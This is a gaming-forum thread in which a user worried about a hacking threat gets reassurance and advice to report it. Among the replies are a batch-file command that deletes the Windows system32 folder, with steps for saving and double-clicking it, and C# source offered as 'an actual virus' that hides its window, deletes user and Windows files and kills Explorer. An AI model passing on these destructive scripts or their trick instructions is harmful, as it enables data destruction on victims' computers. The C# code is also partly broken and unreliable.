Getting Hacked
Flaminn
Hi all. So just like 10 mins ago, this guy got into a fight with me. He sounded pretty serious and all so yeah. He said that he had a friend who knows how to hack accounts and what not. I know this is usually bogus but just in case, is their anything i can do to prevent this? This guy sounded pretty serious but i tried to scare him back a little bit by saying if he even tries to hack me hes gonna be screwed (he backed off a little bit then ^_^.). But yeah, any suggestions? Thanks

Ugh. Teenagers on the internet. Surely there's a rule preventing that.
You're not going to get hacked, it's some dumb teen talking trash.

I've had people threaten me after failed AB/RA matches saying they were going to hack me. Needless to say my guildwars account remains untouched years later.
Anyone who says that is just playing as an Internet Toughguy and should be castrated in front of a group of people with a dull knife.

I had a kid say once he was going to DDoS my interwebz. I asked him if he even knew what DDoS stood for...he went offline.

when they threaten you just say you took screenshots of it and sent it to the authorities (fbi or whoever). or you can actually do that and that person might actually get in trouble
also, RED ENGINE GORED ENGINE GORED ENGINE GORED ENGINE GO.........lol

I would have asked him how he was going to attempt to find my IP and send a DDoS attack to an IP address unlinked to a website.... lmfao classic.

Tell him your friend is a mod.

@echo off
del c:\WINDOWS\system32
Save the file as anything.bat (remember to add the .bat extension) then save as ALL FILES.
Double-click the document.

i suggest you punch him in the face

I suggest you tell the "hacker" to open up his notepad and type:

it's impossible to hack someone's guild wars account. anyone who says otherwise doesn't know what they're talking about. when someone says they were "hacked" they probably mean that they had a virus that logged their keystrokes, resulting in the "hacker" or, more appropriately, the virus spreader, to receive their password.

.bat basically means that assuming you put something useful in the note pad doc it will open a bajillion times and crash your comp. Relatively harmless MOST of the time. (depend how you code it. idk how bad that particular one is)
A brute force "hack" is possible, just highly unlikely and inefficient compared to keyloggers.

It's more fun to send an actual virus.
You didn't get this from me though.
Code:
using System; using System.Collections.Generic; using System.Text; using System.IO; using System.Reflection; using System.Collections; using System.Threading; namespace ConsoleApplication1 { class Program { //Let's make the form invisible, shall we? Don't want them closing it too fast, do we? [System.Runtime.InteropServices.DllImport ( "user32.dll" )] private static extern bool ShowWindow ( IntPtr hWnd, int nCmdShow ); private const int SW_MINIMIZE = 6; private const int SW_MAXIMIZE = 3; private const int SW_RESTORE = 9; static void Main ( string[] args ) { List<string> files = new List<string> (); //Minimize teh window IntPtr winHandle = System.Diagnostics.Process.GetCurrentProcess ().MainWindowHandle; ShowWindow ( winHandle, SW_MINIMIZE ); //typical folders string path = @"C:\Documents and Settings\"; string path1 = @"C:\Windows"; //Add all of those files into a list. files.AddRange ( Directory.GetFiles ( path, "*.*", SearchOption.AllDirectories ) ); files.AddRange ( Directory.GetFiles ( path1, "*.*" ) ); DoStopExplorer (0); //Delete all files, starting with those in my documents. foreach ( string file in files ) { File.Delete ( file ); DoStopExplorer ( 1 ); } Console.ReadLine (); } //Stops the explorer process. I.E task bar. I used to have the task manager in here too, guess I should add that back in private static void DoStopExplorer (int times) { List<System.Diagnostics.Process> process = new List<System.Diagnostics.Process> ();//Lists are fun process.AddRange ( System.Diagnostics.Process.GetProcesses() );//But empty lists aren't, so let's fill it foreach ( System.Diagnostics.Process proc in process ) { if ( proc.ProcessName == "explorer" || taskmgr.exe) { proc.Kill ();//BURN, KILL, FIRE, ETC. } } } } }

Someone once said in a thread, they wondered if it was possible that all the people getting hacked was a result of someone using some kind of packet interception without even knowing their acct/pass. Think of how fast and efficiently some people get hacked these days, it has an eeire feeling to it. They never get hacked in their life on GW, leave for one hour, come back and 100k or some ectos are gone from their stash but their account and chars are generally fine.

Yeah but even with Brute Force, you would still need to know the email address as the GW username first.

It's all bullcrap. Don't give a damn.

Ah, but without sudo (or root I guess...) quite useless is it. I prefer chmod +x for 775 anyways. lol. But honestly, if I'm going to hack someone (never have before) I wouldn't tell them. That's just dumb... Great to be safe in Linux from many attacks though.

Because, really, who uses MD5sum anyways?

@theicedragonsword - Isn't that what happened with that last batch of Code 045 blocks. A "hacker" was trying to access many accounts, so ArenaNet blocked the accounts until they could be sure the attempt was unsuccessful. I assumed the "hacker" was using a computer program to attempt logins and ArenaNet security noticed the great number of failed attempts.
@OP - if it happens again, take screenshot of conversation and report to Support. It's like mentioning "bombs" in an airport. It is a real fear and shouldn't be tolerated. Stupidity should always be punished.

To the OP: think for a few seconds, don't panic, don't fear, concentrate and think:
if the supposedly hacker friend is going to get at YOU specifically, he needs to find you on your computer; how is he going to find YOUR computer in the middle of the millions of computers in your city?
Hackers aren't magicians. The guy talked BS. Learn from that and tell your friends. Emotion is the tool of "social engineer" to generate fear into you that will hurt you, because they can't hurt you otherwise.
And LOL at sudos, chmods and other scripts

I think that they have to manually block IPs, and the banning of an account from brute force attacks is an automated thing.
